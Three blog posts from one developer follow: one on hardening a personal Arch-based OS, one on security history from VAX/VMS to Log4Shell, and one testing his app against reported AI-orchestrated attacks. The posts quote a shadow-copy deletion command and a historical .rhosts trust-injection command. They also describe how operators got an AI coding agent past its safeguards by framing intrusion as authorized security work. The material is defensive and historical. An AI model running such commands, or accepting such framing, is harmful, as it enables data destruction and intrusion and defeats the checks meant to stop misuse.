DEV Community: Tetsuharu Fujiki

Building a hardened personal Linux OS with only proven tools, and why I ultimately abandoned cryptographic rootfs protection

Tetsuharu Fujiki — Mon, 14 Sep 2026 10:36:38 +0000

I build a defensive security app for Linux called RoamSwitch as an independent developer. Lately I've been going a step further and building a hardened Linux OS from scratch, RoamSwitch OS. This post pulls together two things I wrote about it separately in Japanese, why I'm building a secure OS of my own and the real reason I couldn't protect rootfs cryptographically, and digs a bit deeper into the technical side.

Why build an OS instead of just an app

RoamSwitch runs on top of whatever OS is already there. It handles firewall control, port monitoring, ransomware detection, and so on, but as a userland application it can only go so far. Misconfigurations baked into the OS itself, or weak defaults at the kernel level, are out of its reach no matter how well it's built.

So I started RoamSwitch OS out of curiosity about what changes if hardening gets built in from the OS layer down, instead of bolted on afterward. It's early days still, nowhere near ready for anyone but me to run. The base is Arch Linux, packaged as a bootable live/installer ISO via archiso. I'm not building a distro from scratch. The plan is to layer hardening on top of a normal Arch install, using tools that already have years of track record behind them: AppArmor, fapolicyd, auditd, Falco/Tetragon, Landlock, AIDE, TPM2.

One direction I ruled out early was an immutable, image-based OS along the lines of Fedora Silverblue or ChromeOS. Going that route means treating the whole OS as a single image and swapping it wholesale on every update, which is a completely different (and much larger) engineering and operations problem than what I signed up for. The governing principle stayed simple: don't reinvent tools that already work, build on Arch's rolling package ecosystem and existing driver support rather than around them.

The implementation is a Rust workspace with roughly 39 crates under hardening/, each one producing a binary for a specific defensive feature. That's not the same thing as "a pile of CLI tools you run by hand," though. Most of the watcher-style crates ship as systemd services (Type=simple, Restart=on-failure) that start at boot and just keep running. The ones that only need to run occasionally, like firmware checks, compliance scans, or patch status, ride on .timer units instead. There's no single daemon sitting on top coordinating everything, but the modules aren't isolated either: they talk to each other through shared state under /var/lib/roamswitch/, including a unified incident timeline I'll get into below. Phases 1 through 4 and Phase 6 are verified on real hardware and in QEMU. It's still a research and showcase project rather than something with a production track record, third-party pentest, or legal review behind it, so I'm not recommending it for production use yet.

What's already built

A few of the pieces worth naming.

forensic-sweep watches the usual persistence surfaces: cron, systemd user units, shell rc files, udev rules, PAM config. It flags new persistence, /etc/ld.so.preload hijacking, and fileless execution via memfd_create.

honeytokens plants fake credential files and decoy SSH/HTTP/SMB listeners that no legitimate process should ever touch. It goes further than just dropping bait files: it fingerprints connecting decoy clients with JA3/JA3S, runs adaptive decoys that change behavior over time, and even drops beacon-carrying .docx documents as canary tokens.

fapolicyd-mgr is the application-allowlisting layer, using pacman-managed file hashes as the trust anchor. This ends up mattering more than it sounds, since it's the practical substitute for what IMA appraisal would have covered, which I'll get to.

exfil-guard correlates bursts of access to sensitive files with new outbound network connections or large USB writes, tracking actual byte counts through netlink's INET_DIAG/tcp_info. It also ships a DLP classifier with a real Luhn checksum for card numbers, Japan's My Number check-digit algorithm, and Shannon-entropy-based secret detection.

mitm-guard detects ARP cache poisoning (implemented from scratch after finding that bettercap's own gateway-exclusion logic is structurally blind to ARP spoofing) and DHCP spoofing, using a sandboxed, passive-only bettercap child process.

privacy-guard wraps mac-randomize (a macchanger -r wrapper), dns-check (loopback vs. plaintext resolver), and a tor-mode with a fail-closed nftables kill switch.

wireless-guard covers Wi-Fi evil-twin detection (diffing against an airodump-ng baseline) and Bluetooth proximity scanning.

ransomware-rollback watches for rename/rewrite bursts, unfamiliar extensions, and entropy spikes via inotify, and takes an automatic btrfs/LVM snapshot when it sees them.

That cross-module reaction is worth spelling out, because it's a concrete answer to "how does this actually connect together." About 17 modules (exfil-guard, mitm-guard, honeytokens, forensic-sweep, and others) append events to a shared file, /var/lib/roamswitch/os_hardening_incident_timeline.json, through a common library called os-timeline. That file is the unified incident timeline. ransomware-rollback runs a dedicated background thread, ExternalTimelineWatcher, that polls this file and triggers its own snapshot routine the moment it sees a Critical-severity event written by any other module. To avoid triggering on its own writes, it tags its own entries and filters them out, and it shares a cooldown lock with its native detection path so the two don't double-fire. It's a plain shared file and polling, not a message bus, but it's tested and deliberate rather than an accidental side effect of similar-looking features.

All of this comes with matching AppArmor enforce profiles and verification runs across real hardware, Docker, and QEMU. There are also things I've deliberately left out: per-file cryptographic tamper checks, automatic anonymizing-network switching, automatic password-strength enforcement (it stays advisory). The cryptographic tamper check is the one I want to walk through in detail, because it wasn't a matter of running out of time. I looked into it and turned it down on purpose.

What ransomware is actually doing

Before getting into rootfs integrity, it's worth being precise about what we're actually defending against.

Most ransomware encrypts files with a hybrid scheme. A fast symmetric cipher, AES or ChaCha, encrypts the file contents themselves. That symmetric key then gets wrapped in the attacker's public key, usually RSA-2048 or RSA-4096. The only way to unwrap that key is with the attacker's private key, which they never expose. However hard the victim tries, recovery is impossible without that private key surfacing somewhere. This is also why decryption tools like Japan's National Police Agency's decryptor for the Phobos ransomware family only work against specific variants: they only exist because investigators managed to recover that particular attacker's private key.

A trickier development is intermittent encryption. Instead of encrypting an entire file, the malware touches just the first and last few kilobytes, or a handful of randomly chosen blocks. That's still enough to break the file's headers and structure so it's unusable, but it's a fraction of the work, runs faster, and doesn't push the file's overall entropy up nearly as much. It's specifically shaped to slip past the classic "entropy spiked, must be encryption" detection approach. Campaigns combining AES-CTR with RSA-4096 in this intermittent style have been seen hitting Windows, Linux, and ESXi targets in the same run.

There's also a step that happens before the encryption itself: wrecking recovery options. A lot of ransomware deletes shadow copies or snapshots before it starts encrypting. On Windows that's vssadmin.exe Delete Shadows /all /quiet; on ESXi it goes through esxcli to shut down running VMs and clear local snapshots first. Having backups isn't the whole story if the attacker gets to them before you do.

Two candidates for cryptographic verification

Given an opponent like that, being able to cryptographically confirm a file hasn't been tampered with sounds like exactly the tool you'd want. Linux has two mechanisms that get close: dm-verity and IMA (Integrity Measurement Architecture) appraisal.

dm-verity works at the block-device level. It checks data against a Merkle tree and returns an I/O error the moment it detects tampering on read. The catch is that it assumes the underlying block device never changes, which fits something like Android's /system partition, written once and never touched again, but doesn't work for anything that changes regularly.

IMA appraisal works per-file. It stores a signed hash in a security extended attribute (security.ima), and the kernel verifies it on access. Re-sign the file whenever it legitimately changes, and it can, in principle, handle a system that updates regularly.

IMA appraisal looked like the more promising option going in. Arch's pacman supports hooks that run at install/update time, and I figured those hooks could re-sign files automatically on every package update.

Why dm-verity was out

dm-verity didn't need an experiment to rule out. It was a structural mismatch from the start.

RoamSwitch OS is built on the premise of composing existing, proven security tools rather than building an immutable image-based OS. dm-verity needs the rootfs packaged as a single image, a new image and Merkle tree regenerated on every package update, and the bootloader repointed at the new image (typically via an A/B partition scheme). That's effectively rebuilding a Fedora Silverblue or ChromeOS-style immutable OS from scratch, which flatly contradicts the starting design. Arch pushes package updates multiple times a week, so redoing that image-build cycle constantly would also be an unreasonable cost on its own.

Why IMA appraisal was out too

IMA appraisal I actually tested.

I spun up a Docker container on Arch Linux and inspected the shipped kernel configs for both the linux package (the standard kernel) and linux-hardened (the security-hardened one) directly. The result was the same for both:

linux: # CONFIG_IMA is not set. Related options like CONFIG_IMA_APPRAISE don't even show up in the config.
linux-hardened: same thing, # CONFIG_IMA is not set. The kernel that markets itself as the hardened option doesn't have IMA turned on either.

The supporting infrastructure was there: CONFIG_INTEGRITY, CONFIG_INTEGRITY_SIGNATURE, CONFIG_SYSTEM_TRUSTED_KEYRING, CONFIG_DM_VERITY were all enabled. The groundwork for IMA appraisal exists. IMA itself was just switched off, in both kernels.

Once that was confirmed, the only path to enabling it is dropping Arch's official kernel package and building and maintaining a custom one indefinitely. That's a direct contradiction of the "compose existing proven tools, don't reinvent them" principle the whole project runs on, and it's really a different, much larger project: building and maintaining your own Linux distribution.

As of September 12, 2026, both results together led to a documented decision not to implement this under the project's current constraints, with an explicit note to revisit it if Arch's official kernel ever turns IMA on, or if the project decides to maintain its own kernel build and signing pipeline for some future fully OS-integrated edition. For the practical threat this would have addressed, unauthorized or tampered binaries executing, the already-implemented fapolicyd-mgr (application allowlisting rooted in pacman's own file hashes) covers a realistic chunk of that ground without touching the kernel at all.

Cryptographic guarantees, scoped narrowly

None of this means cryptographic integrity got abandoned everywhere. Scoped down, it's still in use.

AIDE (Advanced Intrusion Detection Environment) is a proper file-hash-based FIM tool, but it isn't pointed at the whole filesystem. It's deliberately scoped to /etc, /usr/bin, /usr/sbin, and /usr/lib/systemd. The reason is simply time: that scope finishes in 1 to 15 seconds in measurement, versus 2 minutes 33 seconds for a much broader one. It's positioned as detection, not prevention, and the documentation is upfront about the residual gap: a fully-rooted attacker can tamper with AIDE's own baseline database or binary and hide the evidence from the next check.

timeline-seal uses TPM2, a security chip physically separate from the CPU and disk, to chain-sign the incident timeline's JSON log with a Merkle-style hash chain. This one gives genuine cryptographic tamper-evidence, but only over that single log. Its own documented limits are candid too: an attacker can silently stop the timeline instead of editing it, can crowd out old entries via the 200-entry cap, and can re-mint a signing key and forge a new history under root unless the public key is pinned somewhere off the box.

Put side by side, the pattern is consistent: detect broadly with hashing (AIDE), and reserve genuine cryptographic tamper-evidence for something narrow (a single log, via TPM2). Nowhere does the design ask for cryptographic tamper-resistance across the whole rootfs.

What actually stops ransomware

For the kind of ransomware targeting a person's own files, what's actually doing the work isn't cryptographic integrity checking. It's behavior.

honeytokens catches the moment a decoy file that no legitimate process would ever touch gets hit. ransomware-rollback triggers a snapshot the instant a rename/rewrite burst, unfamiliar extensions, and an entropy spike show up together. exfil-guard catches the "steal first, encrypt second" double-extortion pattern before the encryption step even starts.

What makes these hold up against intermittent encryption specifically is that they don't depend on entropy at all. However low an attacker keeps a file's entropy, touching a large number of files in a short window is not something they can hide. A honeytoken doesn't care what encryption algorithm was used against it, only whether it was touched. A cryptographic hash check can only tell you a file changed, never why. Telling a legitimate save apart from an attack in progress needs behavioral information: what got touched, how fast, and in what pattern.

Tools that prevent, and tools that notice and roll back

RoamSwitch OS holds itself to a specific constraint: build on an existing distribution (Arch) and existing, proven security tools rather than maintaining a from-scratch kernel or distro. That constraint collided head-on with the idea of protecting the whole rootfs cryptographically. dm-verity assumes an immutable block device, which means building a different kind of OS entirely. IMA appraisal was disabled at the kernel level on both the standard and the hardened Arch kernel, and fixing that means maintaining an entire custom kernel indefinitely.

So cryptographic integrity checking stays reserved for things that are genuinely not supposed to change, package-managed binaries, a single append-only log, while everyday user data that changes constantly gets watched for suspicious behavior and rolled back automatically the moment something looks wrong. Tools that prevent and tools that notice-and-recover are answering different questions, because what they're protecting has fundamentally different properties. That's the part that took longer to land on than I expected, and I'm glad I worked through it rather than reaching for the strongest-sounding option by default.

VAX, TCP/IP, and Thirty Years of the Same Trust Problem

Tetsuharu Fujiki — Thu, 10 Sep 2026 14:13:24 +0000

A Japanese version of this is on Note.

I build RoamSwitch, a network security app for Mac and Linux, on my own. Maybe it's this line of work, but every time I write about AI agents automating cyberattacks, I keep thinking back to 1992, the year I entered this industry. What I was looking at then and what I'm looking at now are supposedly different technologies entirely, yet they keep feeling like the same shape to me. Worth actually writing that down properly, checking memory against real technical history rather than just vibes.

When VAX/VMS and HP-UX Shared the Same Room

In 1992 I worked for a large US computer company's Japan office. The machine in front of me was a VAX running VMS. Across the room, another terminal ran HP-UX. Something as basic as password protection had already walked two completely separate histories by then, and I noticed it constantly.

VMS password protection in its first version, 1978, used a 32-bit hash built on an AUTODIN-II CRC (cyclic redundancy check). CRCs were designed to catch transmission errors, not resist deliberate tampering, so this was less a vulnerability than a case of using the wrong tool for the job. The words "penetration" and "prepituitary" happen to collide at the same CRC32 value, 0xBF6A229E. DEC finally moved to a Purdy-polynomial-based algorithm in version 2, 1980.

HP-UX used a DES-based hash through crypt(3), a 12-bit salt run through 25 rounds of DES, clever for the time, but the password itself was only meaningfully used up to 8 characters, weak against dictionary attacks from day one. Steal /etc/passwd and run it through a cracking tool, and you'd have a few passwords within the hour, that was the common understanding back then. Shadow files were a patch, not a fix.

HP-UX had another weakness, the "trusted host" mechanism built on rlogin and .rhosts/hosts.equiv. HP-UX 9.0, released that same July 1992, predated its full move to System V (SVR4) and still carried a strong BSD flavor, rlogin was one of those native BSD features. Log in without a password from a trusted host, purely for convenience, and the moment your DNS or network path got hijacked, that convenience became the door in. Deciding trust based on a hostname, a value anyone could spoof, was the core problem.

TCP/IP Was Never Designed With Security In Mind

Go deeper and the foundation under most of this, TCP/IP itself, was never designed with security in mind either. Vint Cerf and Robert Kahn's 1974 design existed to interconnect networks of fundamentally different character, ARPANET, packet radio, satellite networks. The whole thing was built on the assumption that participants were a mutually trusting research community. Authentication and encryption appear nowhere in the protocol stack. ARPANET's full cutover to this TCP/IP came nine years later, January 1, 1983, a coordinated one-day switchover from the old protocol (NCP) that everyone just calls "flag day."

Worth a note here. The VAX I touched in 1992 didn't actually speak this TCP/IP natively. VMS's native networking protocol was DEC's own DECnet, and using TCP/IP meant bolting on a third-party product, companies like The Wollongong Group had been selling those since late 1983. HP-UX, meanwhile, had TCP/IP built in natively since 4.2BSD, 1983. Two different networking philosophies sharing the same room, one proprietary and one TCP/IP, stitched together after the fact so they could talk to each other. That structure kept repeating for decades after.

The person who first documented this structural weakness, in a fittingly ironic way, was Robert Morris Sr. A cryptographer at Bell Labs, he published "A Weakness in the 4.2BSD UNIX TCP/IP Software" in 1985, showing that because TCP sequence numbers were predictable, an attacker could impersonate a trusted host without ever receiving a single response packet. He left Bell Labs the following year to become chief scientist at the NSA's National Computer Security Center, helping produce the official evaluation criteria for computer security, the Rainbow Series.

Then, the night of November 2, 1988, his son Robert Tappan Morris (a Cornell grad student at the time) released what would become known as the Morris Worm from MIT's network. The worm's own methods were a different lineage from the father's paper. Four vectors, chained together. One, abusing sendmail's DEBUG mode, meant for debugging, which let part of a mail message get executed as a command directly. Two, a buffer overflow in fingerd. A fixed-length buffer, written to unchecked via gets(), exploited to overwrite the stack's return address and run arbitrary shellcode. That's the same "stack smashing" technique Aleph One would formalize eight years later, already in live use here. Three, the same .rhosts/hosts.equiv trust abuse. Four, a simple brute-force password guess using a dictionary of a few hundred words plus username variations.

Morris's own design mistake is baked into this worm too. To make reinfection hard to detect, it allowed itself to reinfect an already-infected host with some probability, one in seven. That probability turned out to be set too high, and dozens of infection processes piled up on a single machine, chewing through CPU and memory until the host stopped functioning. Not malice, the attacker's own miscalculation multiplied the damage, a pattern that would repeat in worm outbreaks for years afterward. In the end, roughly 6,000 systems, about a tenth of the internet at the time, were affected. This incident is what drove DARPA to establish CERT/CC (Computer Emergency Response Team Coordination Center) at Carnegie Mellon, effectively founding "computer security incident response" as its own discipline. The trial produced the first felony conviction under the 1986 Computer Fraud and Abuse Act (CFAA).

A father points out the theoretical fragility of a trust model, a son goes and breaks essentially that same trust model (different shape, same idea) for real. This is, to me, the single most emblematic story of that era, less a technical vulnerability than the field of computer security itself emerging out of what feels like a family conversation.

There was already an official yardstick in the VAX/VMS world too, by the way. TCSEC, the Orange Book, drawn up in 1983 by the NCSC (National Computer Security Center, part of the NSA, the same place Robert Morris Sr. later moved to), intended for the Department of Defense. It graded systems from D (lowest) to A1 (highest), and that grade drove product selection in government procurement. A serious attempt at quantifying trust, but the thing being evaluated was always a single, standalone system, the idea of being attacked over a network by a different system wasn't yet front and center in how the criteria were designed. What the Morris Worm exploited was precisely that gap, each system had been graded seriously on its own, but nobody had graded what happened once they were wired together.

PGP and the First Crypto War

In 1991, Phil Zimmermann released PGP (Pretty Good Privacy) for free. Letting anyone protect their email with strong encryption sounds obviously fine, but at the time it was potentially a violation of US arms export regulations (ITAR). Zimmermann himself became the subject of a DOJ investigation.

That conflict reached its peak in 1993 when the Clinton administration proposed the Clipper Chip. An encryption chip meant for standard inclusion in phones and similar consumer devices, built with "key escrow" so the government held a copy of every chip's key. Law enforcement wanted to decrypt with a warrant. The public wanted the right to use strong encryption freely. The Clipper Chip itself never caught on in the end, helped along by opposition from groups like the Electronic Frontier Foundation, but the underlying question, how much cryptographic strength should ordinary people be allowed, kept resurfacing in new forms for years after. I was only a few years into the industry at the time, and honestly had no real sense of how large a fight this would stay.

1995, Mitnick and SATAN

A few years into my career, 1995 turned out to be a big year in two separate ways.

One was Kevin Mitnick's arrest in North Carolina on February 15. It traces back to the previous Christmas, 1994, when he broke into the machines of Tsutomu Shimomura (then at the San Diego Supercomputer Center). Tracing the intrusion technique later, I remember reading it over and over just for the sheer audacity of completing authentication without ever receiving a single response packet.

Here's the actual sequence. Mitnick first used reconnaissance commands, finger, showmount, rpcinfo, to establish that an rlogin-based trust relationship existed between an X terminal and a server in Shimomura's environment. He then neutralized that server itself, flooding it with SYN packets spoofed from real but unresponsive source addresses. What we'd now just call a SYN flood, filling it with half-open connections until it went silent. With the server muted, he predicted the TCP sequence number it would have issued to a legitimate client by sending it a series of separate SYN packets and watching how it behaved. Then he spoofed the server's IP to the X terminal and completed the three-way handshake without ever receiving a single response packet. The one command sent over that connection, impersonating root, was echo + + >> /.rhosts. That's it. Root from any host on earth now had unconditional login to that X terminal.

This is regarded as the first real-world use of the TCP sequence number prediction attack Robert Morris Sr. described as theory in his 1985 paper. Nine years later, the attack technique from that paper got executed as an actual intrusion. Shimomura tracked Mitnick down himself using sophisticated network monitoring techniques, eventually leading to the FBI arrest. It was widely covered at the time as the turning point where the era of lone hackers repeatedly outmaneuvering national agencies gave way to individuals being run down by expert technical skill, I remember it being big news.

The other was Dan Farmer and Wietse Venema's free release of SATAN (Security Administrator Tool for Analyzing Networks) about two months later, April 5. A scanner for surfacing known vulnerabilities across a network, it's the direct ancestor of what we'd now call a vulnerability scanner. Built as a defensive diagnostic tool, but one of the earliest examples of the industry broadly recognizing that the same tool doubles as reconnaissance for an attack, "dual-use" in a way that raised enough alarm to draw threatening noises from the Department of Justice. The industry hadn't yet gotten used to defense and offense sharing the same code, a structure that's completely unremarkable today.

Japan was building out its own equivalent infrastructure around the same time. What had been volunteer-run incident response activity since roughly 1992 formally became "JPCERT/CC" (Computer Emergency Response Team Coordination Center) in October 1996, eight years behind the US's CERT/CC, founded in response to the Morris Worm. At my own employer, though, the idea of actually contacting an incident response body when something happened hadn't really taken root yet, the instinct was still to absorb the problem locally and handle it in-house.

Weakened Crypto Got Broken Anyway

In 1994, Netscape built encrypted communication (SSL 2.0) into its browser and published the spec that November, the same year. The pitch was safely exchanging credit card numbers over the web, groundbreaking at the time. Export policy cast a shadow here too, though, versions sold outside the US were restricted to a weakened 40-bit "export grade" cipher.

That restriction became a real problem faster than expected. In August 1995, researchers in France, Sweden, and the UK independently ran workstation clusters for eight straight days and brute-forced their way through that 40-bit RC4. Worse followed in January 1996. Ian Goldberg and David Wagner, then UC Berkeley grad students, found a flaw in Netscape's own random number generation. It seeded from predictable values like process ID and system time, narrowing the key space so dramatically that a single ordinary desktop could recover the key in seconds to minutes. Weaken the strength by policy, and implementation sloppiness stacks right on top of it, breaking things even faster than the theoretical weakness alone would predict. Export controls ended up doing the opposite of raising the floor on encryption strength. They just weakened the browser the honest users were running.

The Day Stack Overflows Became Public Knowledge

In November 1996, Phrack issue 49 carried Aleph One's (real name Elias Levy) "Smashing the Stack for Fun and Profit," the first systematic, general-audience explanation of overflowing a stack buffer to overwrite the return address and execute arbitrary code.

Reading this paper left me with mixed feelings, because the technique itself wasn't new. The fingerd attack the Morris Worm used in 1988 was, in principle, the exact same stack smashing. A technique understood only by a handful of researchers and a small number of attackers became, with this paper, public knowledge anyone could read and reproduce. Whatever the ethics of that, buffer-overflow-driven worms and intrusions surged for years after this paper's publication. Code Red in 2001 and SQL Slammer and Blaster in 2003 trace back, at the root, to this same class of vulnerability. Widely shared knowledge raises the defensive floor and widens the attacker's base at the same time. I got that double edge driven home repeatedly over my first several years in the industry.

From a Foreign Computer Company to a Japanese Manufacturer, Melissa to Log4Shell

I stayed at that US computer company until roughly 1997, right as the internet was properly entering the corporate world, and it was around then that I first felt, viscerally, the fear of work that used to live entirely inside the internal network suddenly connecting directly to the outside world. After that I moved to the internal systems department of a large Japanese electronics manufacturer, taking on a much wider range of internal servers. IIS servers were only one slice of that, and the roughly 50 that would later get thrown around by Code Red were just one corner of it.

Worth being honest here, my own technical grounding grew up on the VAX/VMS and HP-UX side, I never went deep on Windows. And yet a good chunk of what's coming next (Outlook macros, IIS buffer overflows, Windows network services) happens squarely on the Windows side. I spent a lot of this period chasing down failures on an OS I wasn't native to, learning it on the fly under pressure.

Melissa in 1999 hit not long after I'd started at the manufacturer. A macro virus that read the Outlook address book and forwarded itself, it brought the internal mail servers to their knees overnight. I remember manually distributing antivirus definition updates by hand, and getting it drilled into me, not intellectually but through the sheer chaos on the ground, that security isn't just the IT department's problem, it's directly tied to the behavior of every single employee who touches email.

A little before that, February 2000, Japan enacted its own "Act on the Prohibition of Unauthorized Computer Access." Before that, Japan had no law directly punishing unauthorized access itself (misusing an ID or password) without concrete resulting damage, there was a real sense of being powerless to act until harm had actually materialized. Fourteen years behind the US, which already had the CFAA in 1986, the country finally had a legal foothold.

Code Red in 2001 was a large-scale worm exploiting an already-disclosed IIS buffer overflow, and our IIS servers were hit across the board. The patch had existed for nearly a month before real damage occurred, the same shape you still see in CVE response today, and I felt it firsthand here for the first time. By then, "applying patches" was already becoming a dedicated job rather than something squeezed in on the side. By the time SQL Slammer and Blaster hit in 2003, firewalls and antivirus had gone from "nice to have" to "non-negotiable," and my own work had shifted from individual trouble tickets to designing the company's entire network perimeter.

Between 2003 and 2006 I got pulled into a distinctly Japan-specific mess. A virus called Antinny, parasitic on the file-sharing software Winny, would publish an infected PC's desktop, documents, and email address book straight onto the network without consent. In March 2004, investigation files from the Kyoto and Hokkaido prefectural police leaked one after another, and by 2006 internal Maritime Self-Defense Force documents leaked too, escalating to the point where the Chief Cabinet Secretary at the time publicly asked citizens to stop using Winny. I remember getting pulled into internal audits just to check "is Winny installed anywhere here." Winny's developer, Isamu Kaneko, was arrested in 2004 on suspicion of aiding copyright infringement, convicted at first instance, then acquitted on appeal by the Osaka High Court in 2009, with the Supreme Court upholding that acquittal in 2011. Where the responsibility for building software ends and the responsibility for its misuse begins feels like a question that connects straight through to today's debates over AI tools. Technically, Winny was also a network built on the good-faith assumption that strangers would fairly exchange files with each other, and Antinny is exactly what tore through that trust assumption, the identical shape to everything else in this piece.

Watching the Stuxnet news in 2010, I honestly went quiet for a while. It showed a cyberattack could step outside the code entirely and physically destroy equipment. The meaning of what we'd all been defending shifted a notch. Then Snowden's disclosures in 2013 raised a possibility nobody wanted to sit with, that the attacker isn't just a criminal or a hostile state's intelligence service, but potentially your own country's. That shakes the very premise of "who do you trust" at its root. WannaCry/NotPetya in 2017 saw an exploit reportedly held by the NSA (EternalBlue) leak and get weaponized to hold systems worldwide hostage. That's around when I first started hearing executives, not just engineers, talk about patch schedules as a direct business risk. SolarWinds in 2020 and Log4Shell in 2021 drove home something worse, that the dependency packages and vendor software you trust and build on can themselves become the attack path. Hardening your own network was no longer enough. The outside world itself had become suspect, and I felt that shift keenly.

Lay my own career changes alongside this timeline and each incident, technically completely different from the others, keeps telling the same shape of story. Somewhere, "we can trust this" got assumed, a hostname, a TCP sequence number, a dependency package in the supply chain, whoever's on the other end of the network, and that assumption is exactly where the attack ends up entering later. VMS's CRC, rlogin's .rhosts, the design of TCP/IP itself, all share one thing, none of them were built with a malicious third party sneaking in as a design consideration.

What I Think Computer Security Actually Is

Looking back over these thirty-odd years, this is the understanding I've landed on. Computer security isn't really an independent technical discipline so much as a continuous, after-the-fact reconciliation, born the instant a system built assuming only trustworthy people would touch it gets touched by people you can't trust. VAX/VMS, UNIX/BSD, TCP/IP, all of them were originally built for a small community of researchers and engineers, and none of them accounted for a malicious presence outside that community. That's not a fair thing to fault them for, it was more than sufficient at the time. The problem is that every time scale expanded from there, that same trust assumption got betrayed all over again.

And now, the AI agent story I keep writing about looks, to me, like a straight remake of the same structure. GTG-1002's trick in 2025, convincing an AI agent that this is legitimate, authorized work, is at bottom the exact same shape as rlogin trusting "this connection came from a trusted host" and skipping the password. The material used to decide trust changed from a hostname to a model's natural-language explanation of intent, but the underlying structure, handing over authority based on trust in something you have no way to verify, hasn't changed since 1988.

Building RoamSwitch's MCP server as read-only from the very start, looking back, was really just putting this history's lesson into practice. Decide the scope of the damage a betrayed trust can do at design time, before deciding what to trust in the first place. The 1988 worm, 1995's SATAN, and 2025's AI agent abuse all start from the identical failure, the scope of what got trusted turned out wider than anyone had assumed. Technology has cycled through generation after generation over these thirty-plus years. The shape of the problem we're actually up against has barely changed at all.

I Stopped Trusting the Headlines and Checked My Security App Against Real AI-Orchestrated Attacks

Tetsuharu Fujiki — Thu, 10 Sep 2026 07:40:52 +0000

A Japanese, more code-heavy version of this is on Zenn.

I build RoamSwitch, a solo-developed network security app for Mac and Linux. It locks down the firewall and shared services the instant you're on a network you haven't approved, and on Pro it adds things like emergency network isolation when it sees ransomware-like behavior, and DNS-layer blocking of phishing/C2 domains.

For the last few releases I'd been building two fairly unglamorous features, a log auditor that flags frequency anomalies against a learned baseline, and a package CVE matcher that checks installed software against a daily-updated vulnerability map. Ordinary "catch what's new, patch what's known" work. Around the same time, Anthropic's threat reports and a string of vendor writeups started describing AI agents autonomously running most of an intrusion themselves. I got uneasy. Was any of what I'd built actually relevant to that, or was I just watching a different movie? I wanted to check the actual technical detail of reported cases against my own code, not against a vibe.

GTG-1002, where AI ran 80-90% of an espionage campaign itself

In November 2025, Anthropic disclosed that a China state-linked group it tracks as GTG-1002 used Claude Code to run a large-scale cyber-espionage campaign against roughly 30 organizations, tech companies, financial institutions, a chemical manufacturer, government agencies, with AI performing an estimated 80-90% of the work, reconnaissance, exploitation, credential harvesting, and exfiltration among it. Human involvement was limited to a handful of strategic go/no-go decisions.

The interesting part is how they got past the model's own safeguards. The operators didn't jailbreak Claude Code in the classic sense. They framed the work as a legitimate, authorized defensive security engagement and kept the framing consistent across the whole engagement. The model accepted the premise and executed each subsequent step as ordinary, sanctioned work. Less "break the lock," more "convince the guard you're supposed to be there."

GTG-2002, where one person made AI the operator, not the advisor

A different Anthropic disclosure from August 2025, GTG-2002, is a smaller-scale but in some ways more unsettling case. A single actor, not a state-backed group, used Claude Code not as a planning aid but as the actual operator, running a data-extortion campaign against 17 organizations across government, healthcare, financial, and emergency-services sectors.

What Claude Code actually did, concretely, reads like a checklist. Network reconnaissance and help with initial access, generating custom exfiltration malware built on the Chisel tunneling tool, hardening that malware against detection with string encryption, anti-debugging tricks, and filename masquerading, analyzing the stolen data to set ransom demands (ranging $75,000 to $500,000), and writing custom HTML ransom notes per victim. The attacker didn't need to be able to code. Claude wrote it for them.

What both cases share isn't really about model capability. It's about how much operational tool access the agent was handed, and how the intent-verification step got defeated. RoamSwitch's own MCP server has been read-only from day one, no config changes, no lockdown toggles, nothing but diagnostics, specifically to avoid this exact failure shape. I want to be honest about scope, though. GTG-1002 and GTG-2002 were intrusions into corporate cloud and internal network infrastructure. RoamSwitch protecting an individual's Mac isn't in the same weight class. What these cases actually validate is the design principle (give an agent the minimum tool surface it needs), not that RoamSwitch would have stopped them.

ClickFix to MacSync/AMOS, the one that can actually hit an individual Mac

Closer to home. Between late 2025 and 2026, ClickFix campaigns disguised as fake AI tool installers have been observed in the wild. The chain plays out like this.

Someone searches for a real AI tool by name, "ChatGPT Atlas" and similar, and a sponsored search result (a Google Ad) routes them to a fake landing page.
The page shows a fake CAPTCHA that instructs the victim to open Spotlight and paste a "verification code."
That "code" is actually a curl command. The instant Enter is pressed, a malicious script is fetched and run from the attacker's server.
What gets dropped is an AppleScript-based infostealer (MacSync, also tracked as Atomic macOS Stealer / AMOS) that harvests credentials and session cookies from 14 browsers, 16 crypto wallets, and 200+ extensions.

The evasion arms race is the ugly part. Once macOS 26.4 added a warning for multi-line Terminal pastes, the attackers immediately pivoted to routing execution through Script Editor via the applescript:// URL scheme instead, using dynamic AppleScript payloads and in-memory execution to dodge static analysis.

I walked this attack chain against RoamSwitch's actual guards, stage by stage.

At the ad/landing-page stage, LinkGuardManager (Pro, a signed daily threat feed plus /etc/hosts sinkholing and a NEFilter content-filter extension) and DNSThreatGuard (switching resolution to Quad9 or Cloudflare Security) can both block the connection if the domain is already on a reputation list. Both are reputation-based, though, so a campaign's brand-new domain, not yet flagged anywhere, gets through.

The Spotlight/Script Editor paste-and-execute moment turned out to be the most surprising part of writing this piece. There was already a dedicated guard for it, ClickFixGuard.swift, watching ~/.zsh_history and ~/.bash_history for the double-indirection pattern legitimate installers don't use (base64-decode piped straight into bash or osascript), and firing an emergency network Air-Gap on a hit. But by its own doc comment it's structurally post-hoc, it can only see a command after it's already run, and Script Editor's do shell script never touches either history file in the first place, which is exactly the pivot attackers made once Terminal started warning. Re-reading the code for this piece is what surfaced the fix. SecretLeakAuditor already ran a 1-second NSPasteboard.changeCount poll (on by default) for a different purpose, catching leaked API keys. Adding one call to ClickFixGuard.matchClickFixPattern() (already a standalone nonisolated static func) catches the same pattern the instant it's copied, before the user pastes it anywhere. It doesn't matter whether the destination is Terminal, Script Editor, or some other launcher entirely, detection happens at copy-time and the clipboard gets cleared immediately on a hit. I actually built and shipped this while writing the article, so this line item moves from "can't catch it" to "catches it."

Post-execution keychain, browser, and wallet theft is still an open gap. Watching keychain access needs an EndpointSecurity entitlement, a meaningfully heavier lift, and I scoped it out deliberately rather than by oversight. C2 exfiltration is symmetric with the landing-page stage. DNSThreatGuard/LinkGuard can block it if the destination domain is already known-bad.

